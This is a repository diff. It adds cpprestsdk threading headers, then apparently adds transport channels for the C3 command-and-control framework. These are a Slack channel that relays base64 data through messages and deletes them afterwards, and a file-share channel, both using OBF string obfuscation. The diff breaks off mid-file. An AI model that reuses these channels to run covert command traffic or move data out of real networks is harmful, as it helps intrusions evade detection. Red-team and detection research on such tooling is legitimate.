typedef details::linux_scheduler default_scheduler_t;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Terminate the process due to unhandled exception
|
||||||
|
/// </summary>
|
||||||
|
#ifndef _REPORT_PPLTASK_UNOBSERVED_EXCEPTION
|
||||||
|
#define _REPORT_PPLTASK_UNOBSERVED_EXCEPTION() \
|
||||||
|
do \
|
||||||
|
{ \
|
||||||
|
raise(SIGTRAP); \
|
||||||
|
std::terminate(); \
|
||||||
|
} while (false)
|
||||||
|
#endif //_REPORT_PPLTASK_UNOBSERVED_EXCEPTION
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
// see: http://gcc.gnu.org/onlinedocs/gcc/Return-Address.html
|
||||||
|
// this is critical to inline
|
||||||
|
__attribute__((always_inline)) inline void* _ReturnAddress() { return __builtin_return_address(0); }
|
||||||
|
|
||||||
|
} // namespace pplx
|
||||||
|
|
||||||
|
#endif // !_WIN32
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,268 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* Windows specific pplx implementations
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#if !defined(_WIN32) || _MSC_VER < 1800 || CPPREST_FORCE_PPLX
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/cpprest_compat.h"
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplxinterface.h"
|
||||||
|
|
||||||
|
namespace pplx
|
||||||
|
{
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
namespace platform
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Returns a unique identifier for the execution thread where this routine in invoked
|
||||||
|
/// </summary>
|
||||||
|
_PPLXIMP long __cdecl GetCurrentThreadId();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Yields the execution of the current execution thread - typically when spin-waiting
|
||||||
|
/// </summary>
|
||||||
|
_PPLXIMP void __cdecl YieldExecution();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Captures the callstack
|
||||||
|
/// </summary>
|
||||||
|
__declspec(noinline) _PPLXIMP size_t __cdecl CaptureCallstack(void**, size_t, size_t);
|
||||||
|
|
||||||
|
#if defined(__cplusplus_winrt)
|
||||||
|
/// <summary>
|
||||||
|
// Internal API which retrieves the next async id.
|
||||||
|
/// </summary>
|
||||||
|
_PPLXIMP unsigned int __cdecl GetNextAsyncId();
|
||||||
|
#endif
|
||||||
|
} // namespace platform
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Manual reset event
|
||||||
|
/// </summary>
|
||||||
|
class event_impl
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
static const unsigned int timeout_infinite = 0xFFFFFFFF;
|
||||||
|
|
||||||
|
_PPLXIMP event_impl();
|
||||||
|
|
||||||
|
_PPLXIMP ~event_impl();
|
||||||
|
|
||||||
|
_PPLXIMP void set();
|
||||||
|
|
||||||
|
_PPLXIMP void reset();
|
||||||
|
|
||||||
|
_PPLXIMP unsigned int wait(unsigned int timeout);
|
||||||
|
|
||||||
|
unsigned int wait() { return wait(event_impl::timeout_infinite); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
// Windows events
|
||||||
|
void* _M_impl;
|
||||||
|
|
||||||
|
event_impl(const event_impl&); // no copy constructor
|
||||||
|
event_impl const& operator=(const event_impl&); // no assignment operator
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Mutex - lock for mutual exclusion
|
||||||
|
/// </summary>
|
||||||
|
class critical_section_impl
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
_PPLXIMP critical_section_impl();
|
||||||
|
|
||||||
|
_PPLXIMP ~critical_section_impl();
|
||||||
|
|
||||||
|
_PPLXIMP void lock();
|
||||||
|
|
||||||
|
_PPLXIMP void unlock();
|
||||||
|
|
||||||
|
private:
|
||||||
|
typedef void* _PPLX_BUFFER;
|
||||||
|
|
||||||
|
// Windows critical section
|
||||||
|
_PPLX_BUFFER _M_impl[8];
|
||||||
|
|
||||||
|
critical_section_impl(const critical_section_impl&); // no copy constructor
|
||||||
|
critical_section_impl const& operator=(const critical_section_impl&); // no assignment operator
|
||||||
|
};
|
||||||
|
|
||||||
|
#if _WIN32_WINNT >= _WIN32_WINNT_VISTA
|
||||||
|
/// <summary>
|
||||||
|
/// Reader writer lock
|
||||||
|
/// </summary>
|
||||||
|
class reader_writer_lock_impl
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
class scoped_lock_read
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit scoped_lock_read(reader_writer_lock_impl& _Reader_writer_lock)
|
||||||
|
: _M_reader_writer_lock(_Reader_writer_lock)
|
||||||
|
{
|
||||||
|
_M_reader_writer_lock.lock_read();
|
||||||
|
}
|
||||||
|
|
||||||
|
~scoped_lock_read() { _M_reader_writer_lock.unlock(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
reader_writer_lock_impl& _M_reader_writer_lock;
|
||||||
|
scoped_lock_read(const scoped_lock_read&); // no copy constructor
|
||||||
|
scoped_lock_read const& operator=(const scoped_lock_read&); // no assignment operator
|
||||||
|
};
|
||||||
|
|
||||||
|
_PPLXIMP reader_writer_lock_impl();
|
||||||
|
|
||||||
|
_PPLXIMP void lock();
|
||||||
|
|
||||||
|
_PPLXIMP void lock_read();
|
||||||
|
|
||||||
|
_PPLXIMP void unlock();
|
||||||
|
|
||||||
|
private:
|
||||||
|
// Windows slim reader writer lock
|
||||||
|
void* _M_impl;
|
||||||
|
|
||||||
|
// Slim reader writer lock doesn't have a general 'unlock' method.
|
||||||
|
// We need to track how it was acquired and release accordingly.
|
||||||
|
// true - lock exclusive
|
||||||
|
// false - lock shared
|
||||||
|
bool m_locked_exclusive;
|
||||||
|
};
|
||||||
|
#endif // _WIN32_WINNT >= _WIN32_WINNT_VISTA
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Recursive mutex
|
||||||
|
/// </summary>
|
||||||
|
class recursive_lock_impl
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
recursive_lock_impl() : _M_owner(-1), _M_recursionCount(0) {}
|
||||||
|
|
||||||
|
~recursive_lock_impl()
|
||||||
|
{
|
||||||
|
_ASSERTE(_M_owner == -1);
|
||||||
|
_ASSERTE(_M_recursionCount == 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
void lock()
|
||||||
|
{
|
||||||
|
auto id = ::pplx::details::platform::GetCurrentThreadId();
|
||||||
|
|
||||||
|
if (_M_owner == id)
|
||||||
|
{
|
||||||
|
_M_recursionCount++;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
_M_cs.lock();
|
||||||
|
_M_owner = id;
|
||||||
|
_M_recursionCount = 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void unlock()
|
||||||
|
{
|
||||||
|
_ASSERTE(_M_owner == ::pplx::details::platform::GetCurrentThreadId());
|
||||||
|
_ASSERTE(_M_recursionCount >= 1);
|
||||||
|
|
||||||
|
_M_recursionCount--;
|
||||||
|
|
||||||
|
if (_M_recursionCount == 0)
|
||||||
|
{
|
||||||
|
_M_owner = -1;
|
||||||
|
_M_cs.unlock();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
pplx::details::critical_section_impl _M_cs;
|
||||||
|
long _M_recursionCount;
|
||||||
|
volatile long _M_owner;
|
||||||
|
};
|
||||||
|
|
||||||
|
class windows_scheduler : public pplx::scheduler_interface
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
_PPLXIMP virtual void schedule(TaskProc_t proc, _In_ void* param);
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A generic RAII wrapper for locks that implement the critical_section interface
|
||||||
|
/// std::lock_guard
|
||||||
|
/// </summary>
|
||||||
|
template<class _Lock>
|
||||||
|
class scoped_lock
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit scoped_lock(_Lock& _Critical_section) : _M_critical_section(_Critical_section)
|
||||||
|
{
|
||||||
|
_M_critical_section.lock();
|
||||||
|
}
|
||||||
|
|
||||||
|
~scoped_lock() { _M_critical_section.unlock(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
_Lock& _M_critical_section;
|
||||||
|
|
||||||
|
scoped_lock(const scoped_lock&); // no copy constructor
|
||||||
|
scoped_lock const& operator=(const scoped_lock&); // no assignment operator
|
||||||
|
};
|
||||||
|
|
||||||
|
// The extensibility namespace contains the type definitions that are used internally
|
||||||
|
namespace extensibility
|
||||||
|
{
|
||||||
|
typedef ::pplx::details::event_impl event_t;
|
||||||
|
|
||||||
|
typedef ::pplx::details::critical_section_impl critical_section_t;
|
||||||
|
typedef scoped_lock<critical_section_t> scoped_critical_section_t;
|
||||||
|
|
||||||
|
#if _WIN32_WINNT >= _WIN32_WINNT_VISTA
|
||||||
|
typedef ::pplx::details::reader_writer_lock_impl reader_writer_lock_t;
|
||||||
|
typedef scoped_lock<reader_writer_lock_t> scoped_rw_lock_t;
|
||||||
|
typedef reader_writer_lock_t::scoped_lock_read scoped_read_lock_t;
|
||||||
|
#endif // _WIN32_WINNT >= _WIN32_WINNT_VISTA
|
||||||
|
|
||||||
|
typedef ::pplx::details::recursive_lock_impl recursive_lock_t;
|
||||||
|
typedef scoped_lock<recursive_lock_t> scoped_recursive_lock_t;
|
||||||
|
} // namespace extensibility
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Default scheduler type
|
||||||
|
/// </summary>
|
||||||
|
typedef details::windows_scheduler default_scheduler_t;
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Terminate the process due to unhandled exception
|
||||||
|
/// </summary>
|
||||||
|
|
||||||
|
#ifndef _REPORT_PPLTASK_UNOBSERVED_EXCEPTION
|
||||||
|
#define _REPORT_PPLTASK_UNOBSERVED_EXCEPTION() \
|
||||||
|
do \
|
||||||
|
{ \
|
||||||
|
__debugbreak(); \
|
||||||
|
std::terminate(); \
|
||||||
|
} while (false)
|
||||||
|
#endif // _REPORT_PPLTASK_UNOBSERVED_EXCEPTION
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
} // namespace pplx
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,83 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
*
|
||||||
|
* Simple Linux implementation of a static thread pool.
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
***/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#if defined(__clang__)
|
||||||
|
#pragma clang diagnostic push
|
||||||
|
#pragma clang diagnostic ignored "-Wconversion"
|
||||||
|
#pragma clang diagnostic ignored "-Wunreachable-code"
|
||||||
|
#pragma clang diagnostic ignored "-Winfinite-recursion"
|
||||||
|
#endif
|
||||||
|
#include "boost/asio.hpp"
|
||||||
|
#if defined(__clang__)
|
||||||
|
#pragma clang diagnostic pop
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if defined(__ANDROID__)
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplx.h"
|
||||||
|
#include <atomic>
|
||||||
|
#include <jni.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/cpprest_compat.h"
|
||||||
|
|
||||||
|
namespace crossplat
|
||||||
|
{
|
||||||
|
#if defined(__ANDROID__)
|
||||||
|
// IDEA: Break this section into a separate android/jni header
|
||||||
|
extern std::atomic<JavaVM*> JVM;
|
||||||
|
JNIEnv* get_jvm_env();
|
||||||
|
|
||||||
|
struct java_local_ref_deleter
|
||||||
|
{
|
||||||
|
void operator()(jobject lref) const { crossplat::get_jvm_env()->DeleteLocalRef(lref); }
|
||||||
|
};
|
||||||
|
|
||||||
|
template<class T>
|
||||||
|
using java_local_ref = std::unique_ptr<typename std::remove_pointer<T>::type, java_local_ref_deleter>;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
class threadpool
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
_ASYNCRTIMP static threadpool& shared_instance();
|
||||||
|
_ASYNCRTIMP static std::unique_ptr<threadpool> __cdecl construct(size_t num_threads);
|
||||||
|
|
||||||
|
virtual ~threadpool() = default;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initializes the cpprestsdk threadpool with a custom number of threads
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>
|
||||||
|
/// This function allows an application (in their main function) to initialize the cpprestsdk
|
||||||
|
/// threadpool with a custom threadcount. Libraries should avoid calling this function to avoid
|
||||||
|
/// a diamond problem with multiple consumers attempting to customize the pool.
|
||||||
|
/// </remarks>
|
||||||
|
/// <exception cref="std::exception">Thrown if the threadpool has already been initialized</exception>
|
||||||
|
static void initialize_with_threads(size_t num_threads);
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
CASABLANCA_DEPRECATED("Use `.service().post(task)` directly.")
|
||||||
|
void schedule(T task)
|
||||||
|
{
|
||||||
|
service().post(task);
|
||||||
|
}
|
||||||
|
|
||||||
|
boost::asio::io_service& service() { return m_service; }
|
||||||
|
|
||||||
|
protected:
|
||||||
|
threadpool(size_t num_threads) : m_service(static_cast<int>(num_threads)) {}
|
||||||
|
|
||||||
|
boost::asio::io_service m_service;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace crossplat
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,111 @@
|
||||||
|
#include "Stdafx.h"
|
||||||
|
#include "Slack.h"
|
||||||
|
#include "Common/MWR/Crypto/Base64.h"
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::C3::Interfaces::Channels::Slack::Slack(ByteView arguments)
|
||||||
|
: m_inboundDirectionName{ arguments.Read<std::string>() }
|
||||||
|
, m_outboundDirectionName{ arguments.Read<std::string>() }
|
||||||
|
{
|
||||||
|
auto [slackToken, channelName] = arguments.Read<std::string, std::string>();
|
||||||
|
m_slackObj = MWR::Slack{ slackToken, channelName };
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
size_t MWR::C3::Interfaces::Channels::Slack::OnSendToChannel(ByteView data)
|
||||||
|
{
|
||||||
|
//Begin by creating a message where we can write the data to in a thread, both client and server ignore this message to prevent race conditions
|
||||||
|
std::string updateTs = m_slackObj.WriteMessage(m_outboundDirectionName + OBF(":writing"));
|
||||||
|
|
||||||
|
//Write the full data into the thread. This makes it alot easier to read in onRecieve as slack limits messages to 40k characters.
|
||||||
|
m_slackObj.WriteReply(cppcodec::base64_rfc4648::encode(data.data(), data.size()), updateTs);
|
||||||
|
|
||||||
|
//Update the original first message with "C2S||S2C:Done" - these messages will always be read in onRecieve.
|
||||||
|
json message;
|
||||||
|
message[OBF("direction")] = m_outboundDirectionName + OBF(":Done");
|
||||||
|
|
||||||
|
m_slackObj.UpdateMessage(message.dump(), updateTs);
|
||||||
|
return data.size();
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Channels::Slack::OnReceiveFromChannel()
|
||||||
|
{
|
||||||
|
auto messages = m_slackObj.GetMessagesByDirection(m_inboundDirectionName + OBF(":Done"));
|
||||||
|
|
||||||
|
//Read the messages in reverse order (which is actually from the oldest to newest)
|
||||||
|
//Avoids old messages being left behind.
|
||||||
|
for (std::vector<std::string>::reverse_iterator ts = messages.rbegin(); ts != messages.rend(); ++ts)
|
||||||
|
{
|
||||||
|
|
||||||
|
std::vector<json> replies = m_slackObj.ReadReplies(ts->c_str());
|
||||||
|
std::vector<std::string> repliesTs;
|
||||||
|
|
||||||
|
std::string message;
|
||||||
|
|
||||||
|
//Get all of the messages from the replies.
|
||||||
|
for (size_t i = 0u; i < replies.size(); i++)
|
||||||
|
{
|
||||||
|
message.append(replies[i][OBF("text")]);
|
||||||
|
repliesTs.push_back(replies[i][OBF("ts")]); //get all of the timestamps for later deletion
|
||||||
|
}
|
||||||
|
|
||||||
|
//Base64 decode the entire message
|
||||||
|
auto relayMsg = cppcodec::base64_rfc4648::decode(message);
|
||||||
|
m_slackObj.DeleteMessage(ts->c_str()); //delete the message
|
||||||
|
DeleteReplies(repliesTs); //delete the replies.
|
||||||
|
return relayMsg;
|
||||||
|
}
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
void MWR::C3::Interfaces::Channels::Slack::DeleteReplies(std::vector<std::string> const &repliesTs)
|
||||||
|
{
|
||||||
|
for (auto&& ts : repliesTs)
|
||||||
|
m_slackObj.DeleteMessage(ts);
|
||||||
|
}
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteView MWR::C3::Interfaces::Channels::Slack::GetCapability()
|
||||||
|
{
|
||||||
|
return R"_(
|
||||||
|
{
|
||||||
|
"create":
|
||||||
|
{
|
||||||
|
"arguments":
|
||||||
|
[
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Input ID",
|
||||||
|
"min": 4,
|
||||||
|
"randomize": true,
|
||||||
|
"description": "Used to distinguish packets for the channel"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Output ID",
|
||||||
|
"min": 4,
|
||||||
|
"randomize": true,
|
||||||
|
"description": "Used to distinguish packets from the channel"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Slack token",
|
||||||
|
"min": 1,
|
||||||
|
"description": "This token is what channel needs to interact with Slack's API"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Channel name",
|
||||||
|
"min": 4,
|
||||||
|
"randomize": true,
|
||||||
|
"description": "Name of Slack's channel used by api"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"commands": []
|
||||||
|
}
|
||||||
|
)_";
|
||||||
|
}
|
|
@ -0,0 +1,45 @@
|
||||||
|
#pragma once
|
||||||
|
#include "Common/MWR/Slack/SlackApi.h"
|
||||||
|
|
||||||
|
namespace MWR::C3::Interfaces::Channels
|
||||||
|
{
|
||||||
|
///Implementation of the Slack Channel.
|
||||||
|
struct Slack : public Channel<Slack>
|
||||||
|
{
|
||||||
|
/// Public constructor.
|
||||||
|
/// @param arguments factory arguments.
|
||||||
|
Slack(ByteView arguments);
|
||||||
|
|
||||||
|
/// OnSend callback implementation.
|
||||||
|
/// @param packet data to send to Channel.
|
||||||
|
/// @returns size_t number of bytes successfully written.
|
||||||
|
size_t OnSendToChannel(ByteView packet) override;
|
||||||
|
|
||||||
|
/// Reads a single C3 packet from Channel.
|
||||||
|
/// @return packet retrieved from Channel.
|
||||||
|
ByteVector OnReceiveFromChannel() override;
|
||||||
|
|
||||||
|
/// Get channel capability.
|
||||||
|
/// @returns ByteView view of channel capability.
|
||||||
|
static ByteView GetCapability();
|
||||||
|
|
||||||
|
/// Values used as default for channel jitter. 30 ms if unset. Current jitter value can be changed at runtime.
|
||||||
|
/// Set long delay otherwise slack rate limit will heavily impact channel.
|
||||||
|
constexpr static std::chrono::milliseconds s_MinUpdateFrequency = 3500ms, s_MaxUpdateFrequency = 6500ms;
|
||||||
|
|
||||||
|
protected:
|
||||||
|
/// The inbound direction name of data
|
||||||
|
std::string m_inboundDirectionName;
|
||||||
|
|
||||||
|
/// The outbound direction name, the opposite of m_inboundDirectionName
|
||||||
|
std::string m_outboundDirectionName;
|
||||||
|
|
||||||
|
private:
|
||||||
|
/// An object encapsulating Slack's API, providing methods allowing the consumer to send and receive messages to slack, among other things.
|
||||||
|
MWR::Slack m_slackObj;
|
||||||
|
|
||||||
|
/// Delete all the replies to a message.
|
||||||
|
/// @param repliesTs - an array of timestamps of messages to be deleted through DeleteMessage.
|
||||||
|
void DeleteReplies(std::vector<std::string> const& repliesTs);
|
||||||
|
};
|
||||||
|
}
|
|
@ -0,0 +1,197 @@
|
||||||
|
#include "StdAfx.h"
|
||||||
|
#include <random>
|
||||||
|
#include <fstream>
|
||||||
|
#include <sstream>
|
||||||
|
#include "UncShareFile.h"
|
||||||
|
#include "Common/MWR/Crypto/Base64.h"
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::C3::Interfaces::Channels::UncShareFile::UncShareFile(ByteView arguments)
|
||||||
|
: m_InboundDirectionName{ arguments.Read<std::string>() }
|
||||||
|
, m_OutboundDirectionName{ arguments.Read<std::string>() }
|
||||||
|
, m_FilesystemPath{ arguments.Read<std::string>() }
|
||||||
|
{
|
||||||
|
// If path doesn't exist, create it
|
||||||
|
if (!std::filesystem::exists(m_FilesystemPath))
|
||||||
|
std::filesystem::create_directories(m_FilesystemPath);
|
||||||
|
|
||||||
|
// Check if additional flag to remove all tasks was provided.
|
||||||
|
if (arguments.Read<uint8_t>())
|
||||||
|
{
|
||||||
|
Log({ OBF("Removing all existing file tasks."), LogMessage::Severity::Information });
|
||||||
|
RemoveAllPackets();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
size_t MWR::C3::Interfaces::Channels::UncShareFile::OnSendToChannel(ByteView data)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
std::filesystem::path tmpFilePath;
|
||||||
|
std::filesystem::path filePath;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
tmpFilePath = m_FilesystemPath / (m_OutboundDirectionName + std::to_string(MWR::Utils::GenerateRandomValue<int>(10000, 99999)) + ".tmp");
|
||||||
|
filePath = tmpFilePath;
|
||||||
|
filePath.replace_extension();
|
||||||
|
} while (std::filesystem::exists(filePath) or std::filesystem::exists(tmpFilePath));
|
||||||
|
|
||||||
|
{
|
||||||
|
std::ofstream tmpFile(tmpFilePath, std::ios::trunc | std::ios::binary);
|
||||||
|
tmpFile << std::string_view{ data };
|
||||||
|
}
|
||||||
|
std::filesystem::rename(tmpFilePath, filePath);
|
||||||
|
|
||||||
|
Log({ OBF("OnSend() called for UncShareFile carrying ") + std::to_string(data.size()) + OBF(" bytes"), LogMessage::Severity::DebugInformation });
|
||||||
|
return data.size();
|
||||||
|
}
|
||||||
|
catch (std::exception& exception)
|
||||||
|
{
|
||||||
|
throw std::runtime_error(OBF_STR("Caught a std::exception when writing to a file as part of OnSend: ") + exception.what());
|
||||||
|
return 0u;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Channels::UncShareFile::OnReceiveFromChannel()
|
||||||
|
{
|
||||||
|
// Read a single packet from the oldest file that belongs to this channel
|
||||||
|
|
||||||
|
std::vector<std::filesystem::path> channelFiles;
|
||||||
|
for (auto&& directoryEntry : std::filesystem::directory_iterator(m_FilesystemPath))
|
||||||
|
{
|
||||||
|
if (BelongToChannel(directoryEntry.path()))
|
||||||
|
channelFiles.emplace_back(directoryEntry.path());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (channelFiles.empty())
|
||||||
|
return {};
|
||||||
|
|
||||||
|
auto oldestFile = std::min_element(channelFiles.begin(), channelFiles.end(), [](auto const& a, auto const& b) -> bool { return std::filesystem::last_write_time(a) < std::filesystem::last_write_time(b); });
|
||||||
|
|
||||||
|
// Get the contents of the file and pass on. Return the packet even if removing the file failed.
|
||||||
|
ByteVector packet;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
{
|
||||||
|
std::ifstream readFile(oldestFile->generic_string(), std::ios::binary);
|
||||||
|
packet = ByteVector{ std::istreambuf_iterator<char>{readFile}, {} };
|
||||||
|
}
|
||||||
|
|
||||||
|
RemoveFile(*oldestFile);
|
||||||
|
}
|
||||||
|
catch (std::exception& exception)
|
||||||
|
{
|
||||||
|
Log({ OBF("Caught a std::exception when processing contents of filename: ") + oldestFile->generic_string() + OBF(" : ") + exception.what(), LogMessage::Severity::Error });
|
||||||
|
}
|
||||||
|
|
||||||
|
return packet;
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
void MWR::C3::Interfaces::Channels::UncShareFile::RemoveAllPackets()
|
||||||
|
{
|
||||||
|
// Iterate through the list of file tasks, removing each of them one by one.
|
||||||
|
for (auto&& directoryEntry : std::filesystem::directory_iterator(m_FilesystemPath))
|
||||||
|
if (BelongToChannel(directoryEntry))
|
||||||
|
RemoveFile(directoryEntry.path());
|
||||||
|
}
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
bool MWR::C3::Interfaces::Channels::UncShareFile::BelongToChannel(std::filesystem::path const& path) const
|
||||||
|
{
|
||||||
|
auto filename = path.filename().string();
|
||||||
|
if (filename.size() < m_InboundDirectionName.size())
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (path.extension() == ".tmp")
|
||||||
|
return false;
|
||||||
|
|
||||||
|
auto startsWith = std::string_view{ filename }.substr(0, m_InboundDirectionName.size());
|
||||||
|
return startsWith == m_InboundDirectionName;
|
||||||
|
}
|
||||||
|
|
||||||
|
void MWR::C3::Interfaces::Channels::UncShareFile::RemoveFile(std::filesystem::path const& path)
|
||||||
|
{
|
||||||
|
for (auto i = 0; i < 10; ++i)
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (std::filesystem::exists(path))
|
||||||
|
std::filesystem::remove(path);
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
catch (std::exception& exception)
|
||||||
|
{
|
||||||
|
Log({ OBF("Caught a std::exception when deleting filename: ") + path.string() + OBF(" : ") + exception.what(), LogMessage::Severity::Error });
|
||||||
|
std::this_thread::sleep_for(100ms);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Channels::UncShareFile::OnRunCommand(ByteView command)
|
||||||
|
{
|
||||||
|
auto commandCopy = command; //each read moves ByteView. CommandCoppy is needed for default.
|
||||||
|
switch (command.Read<uint16_t>())
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
RemoveAllPackets();
|
||||||
|
return {};
|
||||||
|
default:
|
||||||
|
return AbstractChannel::OnRunCommand(commandCopy);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteView MWR::C3::Interfaces::Channels::UncShareFile::GetCapability()
|
||||||
|
{
|
||||||
|
return R"(
|
||||||
|
{
|
||||||
|
"create":
|
||||||
|
{
|
||||||
|
"arguments":
|
||||||
|
[
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Input ID",
|
||||||
|
"randomize": true,
|
||||||
|
"min": 4,
|
||||||
|
"description": "Used to distinguish packets for the channel"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Output ID",
|
||||||
|
"randomize": true,
|
||||||
|
"min": 4,
|
||||||
|
"description": "Used to distinguish packets from the channel"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Filesystem path",
|
||||||
|
"min": 1,
|
||||||
|
"description": "UNC or absolute path of fileshare"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "boolean",
|
||||||
|
"name": "Clear",
|
||||||
|
"defaultValue": false,
|
||||||
|
